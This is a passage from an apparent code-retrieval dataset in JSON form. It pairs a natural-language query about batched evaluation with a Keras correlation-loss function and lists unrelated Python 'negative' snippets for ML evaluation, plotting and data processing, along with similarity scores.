# Convert nan to zero values to avoid use zero as divider\\n confidences_list.append(frame[CONFIDENCE_COLUMN].fillna(0)\\n .drop_duplicates().sort_values().tolist())\\n\\n intents_in_results = intents_in_results.drop_duplicates()\\n\\n # Read weight\\n weights_df = None\\n weight_mode = args.weight.lower()\\n # Read the intent weights pairs from file\\n if weight_mode != POPULATION_WEIGHT_MODE and \\\\\\n weight_mode != EQUAL_WEIGHT_MODE:\\n try:\\n weights_df = pd.read_csv(args.weight, encoding=UTF_8,\\n quoting=csv.QUOTE_ALL)\\n # Validate the completeness\\n for _, intent in intents_in_results.iteritems():\\n if not any(weights_df[INTENT_COLUMN] == intent):\\n raise ValueError(\\\"'{}' intent not in {}\\\".format(\\n intent, args.weight))\\n except Exception as e:\\n print(e)\\n weight_mode = POPULATION_WEIGHT_MODE # default population mode\\n print('Fall back to {} mode'.format(POPULATION_WEIGHT_MODE))\\n\\n # Init the classifier_stat_list:\\n for i in range(classifier_num):\\n # array of zeros to hold precision values\\n classifier_stat_list.append(np.zeros([len(confidences_list[i]), 3]))\\n\\n for j in range(classifier_num):\\n confidences = confidences_list[j]\\n for i in range(len(confidences)):\\n conf = confidences[i]\\n cf_frame = cf_frames[j]\\n precision = 0\\n answered = \\\\\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf].shape[0]\\n if weight_mode == POPULATION_WEIGHT_MODE:\\n correct = cf_frame[\\n cf_frame[CONFIDENCE_COLUMN] >= conf][SCORE_COLUMN].sum()\\n precision = correct / answered\\n # print(precision)\\n else:\\n intent_uttr_num_map = \\\\\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf] \\\\\\n .groupby(PREDICTED_INTENT_COLUMN)[PREDICTED_INTENT_COLUMN] \\\\\\n .count().to_dict()\\n\\n # Calulate precision use equal weights\\n uttr_correct_intent = \\\\\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf] \\\\\\n .groupby(GOLDEN_INTENT_COLUMN)[SCORE_COLUMN] \\\\\\n .sum()\\n\\n intent_weights = None\\n weight_coeff = 1 / len(intent_uttr_num_map)\\n\\n if weight_mode != EQUAL_WEIGHT_MODE:\\n required_weights_df = \\\\\\n weights_df[\\n weights_df[INTENT_COLUMN]\\n .isin(uttr_correct_intent.index)]\\n weight_sum = required_weights_df[WEIGHT_COLUMN].sum()\\n # Normalize weights\\n weights_df[WEIGHT_COLUMN] = \\\\\\n weights_df[WEIGHT_COLUMN] / weight_sum\\n intent_weights = \\\\\\n weights_df.set_index(INTENT_COLUMN)[WEIGHT_COLUMN] \\\\\\n .to_dict()\\n\\n for intent, correct_intent_num in \\\\\\n uttr_correct_intent.iteritems():\\n if weight_mode != EQUAL_WEIGHT_MODE:\\n weight_coeff = intent_weights[intent]\\n\\n precision += \\\\\\n weight_coeff * correct_intent_num \\\\\\n / intent_uttr_num_map[intent]\\n\\n classifier_stat_list[j][i, 0] = precision\\n classifier_stat_list[j][i, 1] = 100 * answered / len(cf_frame)\\n classifier_stat_list[j][i, 2] = conf\\n\\n for idx in range(len(classifier_stat_list)):\\n # reversing order for helpful plotting\\n classifier_stat_list[idx] = classifier_stat_list[idx][::-1]\\n\\n # plotting\\n fig = plt.figure()\\n ax = fig.gca()\\n\\n ax.set_ylim([0, 1.0]) # Hardcoding y-axis to a consistent 0-1.0 for the benefit of easing historical comparisions\\n\\n ax.grid(color='b', linestyle='--', alpha=0.3)\\n ax.set_xlabel('Percentage of Questions Answered',\\n fontsize=LEGEND_AXIS_FONT_SIZE)\\n ax.set_ylabel('Precision', fontsize=LEGEND_AXIS_FONT_SIZE)\\n line_style_cycler = cycle(line_styles)\\n line_color_cycler = cycle(line_color)\\n\\n lines = [] # reference to lines\\n # plot the curve and save the figure\\n for i in range(len(classifier_stat_list)):\\n classifier_stat = classifier_stat_list[i]\\n # Default to the idx of lowest conf\\n tau_idx = len(classifier_stat[:, 2]) - 1\\n indices_gtr_tau, = np.where(classifier_stat[:, 2] <= args.tau)\\n if len(indices_gtr_tau) > 0:\\n tau_idx = indices_gtr_tau[0]\\n\\n color = next(line_color_cycler)\\n line, = plt.plot(classifier_stat[:, 1], classifier_stat[:, 0],\\n color=color, label=labels[i],\\n linestyle=next(line_style_cycler))\\n\\n plt.plot(classifier_stat[tau_idx, 1], classifier_stat[tau_idx, 0],\\n '{}o'.format(color), markerfacecolor='None')\\n lines.append(line)\\n\\n tau_desc = mlines.Line2D([], [], markeredgecolor='black', marker='o',\\n linestyle='None', markerfacecolor='None',\\n markersize=10,\\n label='tau = {}'.format(args.tau))\\n\\n ax.legend(handles=lines + [tau_desc], loc='lower left', shadow=False,\\n prop={'size': LEGEND_AXIS_FONT_SIZE})\\n ax.set_title(args.figure_title,\\n fontsize=TITLE_FONT_SIZE)\\n\\n if args.ymin != 0.0:\\n plt.ylim(args.ymin, 1.0)\\n # Save figure as file\\n plt.savefig(args.outfile)\\n\\n print(\\\"Wrote precision curve to {}\\\".format(args.outfile))\",\n \"def eval_prediction(gold_trees, pred_trees):\\n assert [t.get_tid() for t in gold_trees] == [\\n t.get_tid() for t in pred_trees\\n ]\\n gold_vectors = [t.get_vector() for t in gold_trees]\\n pred_vectors = [t.get_vector() for t in pred_trees]\\n\\n def score_it(gold, pred, level):\\n level_gold = list(chain.from_iterable([v[level] for v in gold]))\\n level_pred = list(chain.from_iterable([v[level] for v in pred]))\\n assert len(level_gold) == len(level_pred), \\\"{} {} {}\\\".format(\\n level, level_gold, level_pred\\n )\\n return evaluate(level_gold, level_pred)\\n\\n results = []\\n for level in [\\\"cc\\\", \\\"ro\\\", \\\"fu\\\", \\\"at\\\"]:\\n results.append((level, score_it(gold_vectors, pred_vectors, level)))\\n\\n lat = labelled_attachment(gold_trees, pred_trees)\\n results.append((\\\"lat\\\", {\\\"accuracy\\\": lat}))\\n return results\",\n \"def check_processed(args):\\n\\n unknown_fns = glob.glob(\\\"*M.txt\\\") + glob.glob(\\\"unknowns/*M.txt\\\")\\n unknown_fns = [os.path.basename(fn) for fn in unknown_fns]\\n\\n with sqlite3.connect(args.search_db) as conn:\\n conn.row_factory = sqlite3.Row\\n sql_ranges = conn.execute('SELECT * FROM range ORDER BY p, d, m_start').fetchall()\\n\\n # At some later point maybe don't load all (group by thousands or something)\\n conn.row_factory = None\\n results = conn.execute('SELECT P, D, m FROM result').fetchall()\\n print(f\\\"\\\\tLoaded {len(results):,} results\\\")\\n\\n # ---- Add file only ranges\\n ranges, lookup = sql_and_file_ranges(sql_ranges, unknown_fns)\\n\\n # ---- Find results not belonging to any range\\n build_and_count_pd_results(results, ranges, lookup)\\n\\n print_results(conn, ranges, lookup)\",\n \"def compare_predictions():\\n validation_labels = np.array(pd.read_csv(val_true_labels_dir + dataset_version + 'validation_labels.csv', index_col=0))\\n validation_labels = np.reshape(validation_labels, (-1))\\n\\n diff_between_files = []\\n also1s = []\\n also2s = []\\n for filename1 in os.listdir(val_predictions_dir):\\n if filename1.endswith(\\\".csv\\\"):\\n for filename2 in os.listdir(val_predictions_dir):\\n if filename2.endswith(\\\".csv\\\"):\\n if filename1 < filename2:\\n wrong1 = 0\\n wrong2 = 0\\n diff_between = 0\\n also1 = 0\\n also2 = 0\\n diff_corr1 = 0\\n diff_corr2 = 0\\n f1 = np.array(pd.read_csv(val_predictions_dir + filename1, index_col=0))\\n f1 = np.reshape(f1, (-1))\\n f2 = np.array(pd.read_csv(val_predictions_dir + filename2, index_col=0))\\n f2 = np.reshape(f2, (-1))\\n for line in range(f1.shape[0]):\\n if f1[line] != validation_labels[line]:\\n wrong1 += 1\\n if f2[line] != validation_labels[line]:\\n wrong2 += 1\\n if f1[line] != f2[line]:\\n diff_between += 1\\n if f1[line] == validation_labels[line]:\\n diff_corr1 += 1\\n if f2[line] == validation_labels[line]:\\n diff_corr2 += 1\\n if f1[line] != validation_labels[line]:\\n if f2[line] != validation_labels[line]:\\n also2 += 1\\n if f2[line] != validation_labels[line]:\\n if f1[line] != validation_labels[line]:\\n also1 += 1\\n\\n diff_between_files.append(diff_between)\\n print(filename1)\\n print('Wrongly predicted by 1: ' + str(100 * wrong1 / f1.shape[0]) + '%')\\n print(filename2)\\n print('Wrongly predicted by 2: ' + str(100 * wrong2 / f1.shape[0]) + '%')\\n print()\\n print('Differences between files: ' + str(100 * diff_between / f1.shape[0]) + '%')\\n print(f'\\\\t of which correct by 1 {100 * diff_corr1 / diff_between}%, by 2 {100 * diff_corr2 / diff_between}%')\\n also1s.append(also1 / wrong2)\\n also2s.append(also2 / wrong1)\\n print('Wrongly predicted by other among wrong ones: ' + str(100 * also2 / wrong1) + '%, ' + str(\\n 100 * also1 / wrong2) + '%\\\\n\\\\n\\\\n')\\n\\n print('Max, min and avg differences between files:')\\n print(str(100 * max(diff_between_files) / validation_labels.shape[0]) + '%')\\n print(str(100 * min(diff_between_files) / validation_labels.shape[0]) + '%')\\n print(str(100 * np.mean(diff_between_files) / validation_labels.shape[0]) + '%')\\n\\n print('\\\\nWrongly predicted by first that were also wrongly predicted by second:')\\n print('Max: ' + str(100 * max(also2s)) + '%')\\n print('Min: ' + str(100 * min(also2s)) + '%')\\n print('Avg: ' + str(100 * np.mean(also2s)) + '%')\\n\\n print('\\\\nWrongly predicted by second that were also wrongly predicted by first:')\\n print('Max: ' + str(100 * max(also1s)) + '%')\\n print('Min: ' + str(100 * min(also1s)) + '%')\\n print('Avg: ' + str(100 * np.mean(also1s)) + '%')\",\n \"def predictions(files, species, files2, species2, nbC=1000, nbC2=None, gating='line', showgat=False,\\r\\n predAn='prediction',\\r\\n predtype='neur', ratio=1 / 7.0, repeat=1, average=True,\\r\\n doubt=0, random_state=None, save='save', fc='Accuri',\\r\\n param=None,channels = [], dicChannels = {},cwd='Results/' ):\\r\\n # todo default channel name and dicChannels\\r\\n if param is None:\\r\\n param = ['FL3-A', 'FL1-A', 'FSC-A']\\r\\n # Create result directory\\r\\n if not os.path.exists(cwd):\\r\\n os. mkdir('Results/')\\r\\n cwd = 'Results/'\\r\\n now = datetime.now()\\r\\n dirName = now.strftime(\\\"%Y%m%d-%H_%M_%S/\\\")\\r\\n os.mkdir(cwd + dirName)\\r\\n cwd = cwd + dirName\\r\\n # Create file option with all parameter given in the input\\r\\n f.fileOption(cwd, files, species, files2, species2, nbC, nbC2, gating, predAn, predtype, ratio, repeat, average,\\r\\n doubt,channels=channels,dicChannels=dicChannels,fc=fc)\\r\\n\\r\\n if showgat and save is not None:\\r\\n showgat = save\\r\\n else:\\r\\n showgat = None\\r\\n # Gate Data: according to method\\r\\n Data = []\\r\\n target2 = []\\r\\n refArrays = f.importFile(files, gating=gating, save=showgat, fc=fc, cwd=cwd,channels=channels,dicChannels=dicChannels)\\r\\n if refArrays == [] :\\r\\n return 'None'\\r\\n predArrays = f.importFile(files2, gating=gating, save=showgat, fc=fc, cwd=cwd,channels=channels,dicChannels=dicChannels)\\r\\n if predArrays == []:\\r\\n return 'None'\\r\\n\\r\\n blankArrays = []\\r\\n blk =['BLANK', 'Blank', 'blank']\\r\\n for i in range(len(species)):\\r\\n if species[i] in blk:\\r\\n blankArrays.append(refArrays[i])\\r\\n if gating == 'machine':\\r\\n refArrays,species = f.machineGating(refArrays, species, refArrays, species,cwd=cwd,show=showgat,name='ref', predType=predtype, param=param)\\r\\n if predAn == 'analysis':\\r\\n predArrays, species2 = f.machineGating(refArrays+blankArrays, species+['blank']*len(blankArrays), predArrays, species2,cwd = cwd,show = showgat, name='pred',param=param,predType=predtype)\\r\\n # todo check if 10 and 5000 is not too much!! here we add the former blank from the new gating output\\r\\n else :\\r\\n refArrays = refArrays + blankArrays\\r\\n species = species+['blank']*len(blankArrays)\\r\\n # Selection of data for prediction and analysis\\r\\n if predAn == 'prediction':\\r\\n for anArray in predArrays:\\r\\n data2, atarget2, species2 = f.treat([anArray], species2, None, mode=predAn)\\r\\n Data.append(data2)\\r\\n target2.append(atarget2)\\r\\n else:\\r\\n data2, target2, species2 = f.treat(predArrays, species2, nbC2, mode=predAn)\\r\\n Data.append(data2)#TODO replace by data2 after testing feature impotance\\r\\n target2 = [target2]\\r\\n\\r\\n # treat data\\r\\n statisticsLearn = []\\r\\n statisticsPred = []\\r\\n predict_lbls = []\\r\\n confusionM = []\\r\\n confusionM2 = []\\r\\n acc1 = []\\r\\n F1 = []\\r\\n oldSpecies = species.copy()\\r\\n for i in range(repeat):\\r\\n stat, stat2, predict_lbl, target, conf, conf2, species, \\\\\\r\\n data2 = predictionMultiple(files, refArrays, oldSpecies, files2, Data, target2, nbC, repeat=i,\\r\\n param=param, predAn=predAn, predType=predtype, ratio=ratio,\\r\\n random_state=random_state, save=save, cwd=cwd, average=average)\\r\\n statisticsLearn.append(stat)\\r\\n statisticsPred.append(stat2)\\r\\n #f.save_prediction(predict_lbl,i,cwd=cwd)\\r\\n predict_lbls.append(predict_lbl)\\r\\n confusionM.append(conf)\\r\\n confusionM2.append(conf2)\\r\\n acc1.append(stat.loc['MEAN', 'ACC'])\\r\\n F1.append(stat.loc['MEAN', 'F1'])\\r\\n\\r\\n f.assessmentValue(statisticsLearn, species, cwd, [], 'align')\\r\\n confM = f.averageConfM(confusionM)\\r\\n confM2 = f.averageConfM(confusionM2)\\r\\n f.cmFile(confM, species, cwd, 'Reference CM')\\r\\n if save is not None:\\r\\n f.plotConfusionMatrix(confM, species, save, cwd, normalize=True, name=' average CM for reference',\\r\\n predAn='training')\\r\\n target = np.array(target)\\r\\n predict_lbls = np.array(predict_lbls)\\r\\n conf2 = []\\r\\n acc2 = []\\r\\n f12 = []\\r\\n for i in range(len(statisticsPred[0])):\\r\\n PredStat = []\\r\\n for j in range(repeat):\\r\\n PredStat.append(statisticsPred[j][i])\\r\\n if average:\\r\\n predict_lbl = f.bestPred(list(predict_lbls[:, i]), doubt=doubt) # average of 10\\r\\n if len(predict_lbl) > 0:\\r\\n conf2.append(confusion_matrix(target[i], predict_lbl, labels=species + ['unknown']))\\r\\n statistics2 = f.statAnalysis(list(predict_lbl), list(target[i]), species)\\r\\n acc2.append(statistics2.loc['MEAN', 'ACC'])\\r\\n f12.append(statistics2.loc['MEAN', 'F1'])\\r\\n\\r\\n if predAn == 'prediction':\\r\\n if save is not None and save != 'None':\\r\\n f.graph3d(data2[i], predict_lbl, list(target[i]), species + ['unknown'], param, statistics2, save,\\r\\n cwd, i + 1, name=files2[i].split('/')[-1][:-4], predtype=predAn)\\r\\n f.exportPrediction(list(predict_lbl), [files2[i].split('/')[-1][:-4]], cwd, 'predict',\\r\\n i + 1, 'AVERAGE', repeat)\\r\\n else:\\r\\n f.exportStatistics(statistics2, [n.split('/')[-1][:-4] for n in files2], cwd,\\r\\n 'predict')\\r\\n f.assessmentValue([statistics2], species, cwd, [files2[i].split('/')[-1][:-4]], 'predict')\\r\\n f.exportPrediction(list(predict_lbl), [files2[i].split('/')[-1][:-4]], cwd, 'predict',\\r\\n i + 1, 'AVERAGE', repeat)\\r\\n\\r\\n f.cmFile(conf2[i], species+['unknown'], cwd, 'Prediction CM')\\r\\n if save is not None:\\r\\n f.graph3d(data2[i], predict_lbl, target[i], species + ['unknown'], param, statistics2, save,\\r\\n cwd, i + 1, name=str(len(species)) + ' species', predtype=predAn)\\r\\n f.plotConfusionMatrix(conf2[i], species + ['unknown'], save, cwd, normalize=True,\\r\\n name='CM with ' + str(len(species)) + ' species', predAn='analysis')\\r\\n\\r\\n else:\\r\\n conf2 = []\\r\\n else:\\r\\n for j in range(repeat):\\r\\n if predAn == 'prediction':\\r\\n f.exportPrediction(list(predict_lbls[j][i]), [files2[i].split('/')[-1][:-4]], cwd,\\r\\n 'predict', i, 'SINGLE')\\r\\n else:\\r\\n f.exportStatistics(PredStat[j], [files2[i].split('/')[-1][:-4]], cwd, 'predict')\\r\\n f.exportPrediction(list(predict_lbls[j][i]), [files2[i].split('/')[-1][:-4]], cwd,\\r\\n 'predict', i, 'SINGLE')\\r\\n if predAn == 'analysis':\\r\\n f.assessmentValue(PredStat, species, cwd, [files2[i].split('/')[-1][:-4]], 'predict')\\r\\n f.cmFile(confM2, species+['unknown'], cwd, 'Prediction CM')\\r\\n if save is not None:\\r\\n f.plotConfusionMatrix(confM2, species + ['unknown'], save, cwd, normalize=True,\\r\\n name='average confusion matrix for Tool analysis', predAn='analysis')\\r\\n\\r\\n return os.getcwd().replace('\\\\\\\\', '/') + '/' + cwd\",\n \"def process_results(percentage_ids, alignment_lengths, percentage_ids_other,\\n alignment_lengths_other, best_hits):\\n\\n len_percentage_ids = len(percentage_ids)\\n len_alignment_lengths = len(alignment_lengths)\\n results = []\\n\\n for i, j in [(i,j) for i in range(len_percentage_ids) for j in range(len_alignment_lengths)]:\\n filename = \\\"p1_%d-a1_%d_p2_%d-a2_%d\\\" % (percentage_ids[i],\\n alignment_lengths[j], percentage_ids_other[i], alignment_lengths_other[j])\\n results.append({ 'filename': filename, 'db_interest': 0, 'db_other': 0,\\n 'perfect_interest': 0, 'equal': 0, 'summary': ['#SeqId\\\\tFirst\\\\t'\\n 'Second'], 'db_seqs_counts': {'a': {}, 'b': {} } })\\n\\n for seq_name, values in best_hits.items():\\n seq_name = seq_name.split(' ')[0].strip()\\n for i, vals in enumerate(values):\\n if not vals:\\n continue\\n\\n # Validating duplicated results in the databases\\n #@@@ Do this step in a different script early in the pipeline\\n if vals['a']['subject_id'] not in results[i]['db_seqs_counts']['a']:\\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']]=0\\n if vals['a']['subject_id'] == results[i]['db_seqs_counts']['b']:\\n raise Warning, \\\"%s is in both databases\\\" % vals['a']['subject_id']\\n if vals['b']['subject_id'] not in results[i]['db_seqs_counts']['b']:\\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']]=0\\n if vals['b']['subject_id'] == results[i]['db_seqs_counts']['a']:\\n raise Warning, \\\"%s is in both databases\\\" % vals['b']['subject_id']\\n\\n # Comparing bit_scores to create outputs\\n if vals['a']['bit_score']==vals['b']['bit_score']:\\n results[i]['equal'] += 1\\n results[i]['summary'].append('%s\\\\t%s\\\\t%s' % (seq_name, vals['a']['subject_id'], vals['b']['subject_id']))\\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']] += 1\\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']] += 1\\n elif vals['a']['bit_score']>vals['b']['bit_score']:\\n if not vals['b']['subject_id']:\\n results[i]['perfect_interest'] += 1 \\n results[i]['summary'].append('%s\\\\t%s\\\\t' % (seq_name, vals['a']['subject_id']))\\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']] += 1\\n else:\\n results[i]['db_other'] += 1\\n results[i]['summary'].append('%s\\\\n\\\\t%s' % (seq_name, ''))\\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']] += 1\\n\\n return results\",\n \"def _evaluate(self, train_x, train_y, test_x, test_y, n_targets, name):\\n r_temp = {}\\n for metric_name in self.metrics:\\n r_temp.update({f\\\"{metric_name}_Model\\\": name, f\\\"{metric_name}_Sum\\\": 0,\\n f\\\"{metric_name}_Min\\\": 1000000, f\\\"{metric_name}_Max\\\": 0})\\n\\n for i in range(self.repetitions):\\n is_nan = True\\n while (is_nan):\\n model = self.get_model(train_x.shape[1], n_targets)\\n model.fit(train_x, train_y, **self.fit_kwargs)\\n result = model.predict(test_x)\\n is_nan = np.any(np.isnan(result))\\n del model\\n\\n for metric_name in self.metrics:\\n metric = self.get_metrics(metric_name)\\n value = metric(result, test_y)\\n r_temp[f\\\"{metric_name}_Sum\\\"] += value\\n if r_temp[f\\\"{metric_name}_Min\\\"] > value:\\n r_temp[f\\\"{metric_name}_Min\\\"] = value\\n if r_temp[f\\\"{metric_name}_Max\\\"] < value:\\n r_temp[f\\\"{metric_name}_Max\\\"] = value\\n keras.backend.clear_session()\\n for metric_name in self.metrics:\\n r_temp[f\\\"{metric_name}_Mean\\\"] = r_temp[f\\\"{metric_name}_Sum\\\"] / self.repetitions\\n return r_temp\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.622663","0.6073436","0.58134985","0.5804928","0.5719069","0.5711731","0.5710975","0.568237","0.5680572","0.5669467","0.5663991","0.5612322","0.5609203","0.5606721","0.55780536","0.5572466","0.55717826","0.55348396","0.54948217","0.548214","0.5472467","0.547049","0.5464292","0.5462596","0.5460109","0.5458652","0.54495853","0.5436114","0.5431877","0.54314184","0.5427746","0.5414002","0.5411121","0.5394502","0.5390347","0.53900254","0.53895783","0.53870106","0.53850245","0.5383196","0.5381874","0.5377299","0.5370426","0.53693444","0.53690076","0.5368345","0.5361892","0.5354024","0.53503394","0.53397846","0.5336801","0.5325001","0.5322067","0.5321212","0.531236","0.5304166","0.53022057","0.5298885","0.52944493","0.52923805","0.5281713","0.5256395","0.5248849","0.5237412","0.52336705","0.5229553","0.5221286","0.52143824","0.52132595","0.5210509","0.5204791","0.5202625","0.5200865","0.519891","0.5192033","0.5175265","0.51692545","0.5166963","0.5166293","0.5165163","0.5163328","0.515361","0.5153566","0.51516753","0.51492864","0.5148801","0.514511","0.5141396","0.5138372","0.51335275","0.5132322","0.51275545","0.5125958","0.51220965","0.5107824","0.5104647","0.5104131","0.5097621","0.5091656","0.5087944"],"string":"[\n \"0.622663\",\n \"0.6073436\",\n \"0.58134985\",\n \"0.5804928\",\n \"0.5719069\",\n \"0.5711731\",\n \"0.5710975\",\n \"0.568237\",\n \"0.5680572\",\n \"0.5669467\",\n \"0.5663991\",\n \"0.5612322\",\n \"0.5609203\",\n \"0.5606721\",\n \"0.55780536\",\n \"0.5572466\",\n \"0.55717826\",\n \"0.55348396\",\n \"0.54948217\",\n \"0.548214\",\n \"0.5472467\",\n \"0.547049\",\n \"0.5464292\",\n \"0.5462596\",\n \"0.5460109\",\n \"0.5458652\",\n \"0.54495853\",\n \"0.5436114\",\n \"0.5431877\",\n \"0.54314184\",\n \"0.5427746\",\n \"0.5414002\",\n \"0.5411121\",\n \"0.5394502\",\n \"0.5390347\",\n \"0.53900254\",\n \"0.53895783\",\n \"0.53870106\",\n \"0.53850245\",\n \"0.5383196\",\n \"0.5381874\",\n \"0.5377299\",\n \"0.5370426\",\n \"0.53693444\",\n \"0.53690076\",\n \"0.5368345\",\n \"0.5361892\",\n \"0.5354024\",\n \"0.53503394\",\n \"0.53397846\",\n \"0.5336801\",\n \"0.5325001\",\n \"0.5322067\",\n \"0.5321212\",\n \"0.531236\",\n \"0.5304166\",\n \"0.53022057\",\n \"0.5298885\",\n \"0.52944493\",\n \"0.52923805\",\n \"0.5281713\",\n \"0.5256395\",\n \"0.5248849\",\n \"0.5237412\",\n \"0.52336705\",\n \"0.5229553\",\n \"0.5221286\",\n \"0.52143824\",\n \"0.52132595\",\n \"0.5210509\",\n \"0.5204791\",\n \"0.5202625\",\n \"0.5200865\",\n \"0.519891\",\n \"0.5192033\",\n \"0.5175265\",\n \"0.51692545\",\n \"0.5166963\",\n \"0.5166293\",\n \"0.5165163\",\n \"0.5163328\",\n \"0.515361\",\n \"0.5153566\",\n \"0.51516753\",\n \"0.51492864\",\n \"0.5148801\",\n \"0.514511\",\n \"0.5141396\",\n \"0.5138372\",\n \"0.51335275\",\n \"0.5132322\",\n \"0.51275545\",\n \"0.5125958\",\n \"0.51220965\",\n \"0.5107824\",\n \"0.5104647\",\n \"0.5104131\",\n \"0.5097621\",\n \"0.5091656\",\n \"0.5087944\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.62762123"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":15395,"cells":{"query":{"kind":"string","value":"N.B. be very careful with this...it simply can't work for batched evaluation can it?"},"document":{"kind":"string","value":"def correlation_coefficient_loss_rowwise(y_true, y_pred):\n x = y_true\n y = y_pred\n mx = K.mean(x, axis=0)\n my = K.mean(y, axis=0)\n xm, ym = x-mx, y-my\n r_num = K.sum(tf.multiply(xm,ym), axis=0)\n r_den = K.sqrt(tf.multiply(K.sum(K.square(xm), axis=0), K.sum(K.square(ym), axis=0)))\n r = r_num / r_den\n\n # r = K.maximum(K.minimum(r, 1.0), -1.0)\n return r"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def multiple_eval_for_loops_v2():","def multiple_eval_for_loops_v1():","def evaluate_batch(self, pipelines):","def reduce_run():","def _batching_call(self, *args, **kw):\n b_start = kw.pop('b_start', None)\n b_size = kw.pop('b_size', None)\n results = list(self._original_call(*args, **kw))\n\n if b_start is None:\n return results\n\n if b_size is None:\n b_size = len(results)\n\n return results[b_start:b_start+b_size]","def test_lazy_evaluation(self):\n pass","def batch_eval(f, pts):\n\n\t# Use this array to send into FEniCS.\n\tout = np.zeros(1)\n\n\tdef gen():\n\t\tfor pt in pts.reshape(2, -1).T:\n\t\t\tf.eval(out, pt)\n\t\t\tyield out[0]\n\n\tvalues = list(gen())\n\tavalues = np.array(values).reshape(pts.shape[1:])\n\treturn avalues","def batch_evaluate(inputs, grammar, model, assignment, trace=0):\n return [[(syn, sem, model.evaluate(str(sem), assignment, trace=trace))\n for (syn, sem) in interpretations]\n for interpretations in batch_interpret(inputs, grammar)]","def evaluate(self, batch_x, batch_y):\n raise NotImplementedError()","def _expr_kernel(self,\n arguments: Any,\n batch: RecordBatch) -> Any:\n pass","def evaluate(self):\n pass","def evaluate(self):\n pass","def batched(self) -> bool:\n return False","def eval_batch(self, outputs, target):\n raise NotImplementedError","def eval_parallel(parse_result):\r\n if len(parse_result) == 1:\r\n return parse_result[0]\r\n if 0 in parse_result:\r\n return float('nan')\r\n reciprocals = [1. / e for e in parse_result\r\n if isinstance(e, numbers.Number)]\r\n return 1. / sum(reciprocals)","def batch_compute(generator: Iterator[T], evaluator: Callable[[List[T]], List[U]], batch_size=256):\n batch = []\n\n def _compute():\n if len(batch) > 0:\n resp = evaluator(batch)\n return resp\n else:\n return []\n\n for item in generator:\n batch.append(item)\n if len(batch) >= batch_size:\n yield from _compute()\n batch = []\n\n yield from _compute()","def eval(*args, **kwargs)->Any:\n pass","def __call__(self):\n return self.reduce()","def eval(*args, **kwargs):\n\n pass","def evaluate(expr, env=g_env):\n if type(expr) != list or expr == []:\n if expr in env:\n return env[expr]\n return expr\n first = expr[0]\n if type(first) != list:\n # special cases\n rest = expr[1:]\n if first == _println:\n serialized = [serialize(evaluate(e, env)) for e in rest]\n print(' '.join(serialized))\n return\n if first == _quote:\n return expr[1]\n if first == _define:\n (_, sym, val) = expr\n env[sym] = evaluate(val, env)\n return\n if first == _do:\n return [evaluate(x, env) for x in rest][-1]\n if first == _lambda:\n (_, params, body) = expr\n return Proc(params, body, env)\n if first == _cond:\n pairs = expr[1:]\n for cond, then in pairs:\n if evaluate(cond, env) is not False:\n return evaluate(then, env)\n return evaluate(pairs[-1][1], env)\n if first == _count:\n (_, proc, l) = expr\n return reduce(lambda acc,i: acc + 1 if evaluate(proc, env)(i) else acc, l, 0)\n if first in env:\n first = env[first]\n # procedure call\n if callable(first):\n try:\n args = [evaluate(arg, env) for arg in rest]\n return first(*args)\n except Exception as e:\n print env.env_map\n print expr\n raise e\n if len(expr) == 1:\n return first\n return [evaluate(el, env) for el in expr]\n if [evaluate(el, env) for el in expr] == expr:\n return expr\n return evaluate([evaluate(el, env) for el in expr], env)","def evaluate(self) :\n pass","def simplify_functions_parallel(expressions):\n manager = multiprocessing.Manager()\n return_dict = manager.dict()\n\n processes = []\n factorised_expressions = []\n for index, item in enumerate(expressions):\n # print(\"item \", item, \"index\", index)\n processes.append(multiprocessing.Process(target=bar, args=(item, index, return_dict)))\n for p in processes:\n p.start()\n\n for p in processes:\n p.join()\n\n ## Showing the difference in an example:\n # print(return_dict)\n for i in sorted(return_dict.keys()):\n factorised_expressions.append(return_dict[i])\n return factorised_expressions","def _evaluate(tensor):\n if context.executing_eagerly():\n return tensor.numpy()\n return ops.get_default_session().run(tensor)","def pre_compute(self, e_list):\n\t\tpass","def evaluate(self, seq, begin, end, *args):\n return reduce(operator.add, args, [])","def test_indexed_buffered(self, expr, result):\n i, j, l = dimify('i j l')\n a = symbol(name='a', dimensions=(i, j, l), value=2., mode='indexed').base\n fa = a.function\n\n eqn = eval(expr)\n Operator(eqn)(fa)\n assert np.allclose(fa.data[1, 1:-1, 1:-1], result[1:-1, 1:-1], rtol=1e-12)","def compute(a):\n it = iter(a)\n while True:\n op = next(it)\n\n # Invalid opcode check\n if op not in (1, 2, 99):\n raise ValueError\n\n # Halt opcode\n if op == 99:\n break\n\n x, y, z = next(it), next(it), next(it)\n if op == 1:\n a[z] = a[x] + a[y]\n else:\n a[z] = a[x] * a[y]\n\n return a[0]","def make_accumulator():\n pass # replace with your solution","def result(self) -> global___Expression:","def map(self, callable, iterable):\n iterable = executor.get_actual_value(iterable)\n return super(Executor, self).map(callable, iterable)","def evaluate(compiled_expression):","def _determine_next_batch_of_eval_points(self):\n anc_data = self._get_ancillary_data_for_acquisition()\n acq_to_use = getattr(acquisitions.syn, self.options.acq.lower())\n next_batch_of_eval_points = acq_to_use(self.num_workers, self.gp, self.acq_optimise,\n anc_data)\n return next_batch_of_eval_points","def eval(self):\n pass","def eval(self):\n pass","def eval(self):\n pass","def _evaluate(self, targets: jnp.ndarray) -> jnp.ndarray:\n pass","def runner(func, iterable, arguments, local=False):\n if local:\n return [func(i, *arguments) for i in iterable]\n else:\n if iterable:\n return group(func.s(i, *arguments) for i in iterable)().get()\n else:\n # group()() returns None if group is called with no arguments,\n # leading to an AttributeError with get().\n return []","def evaluate(self, batch: RecordBatch) -> Any:\n processed_args = self._process_arguments(self._arguments, batch)\n if self._function:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", 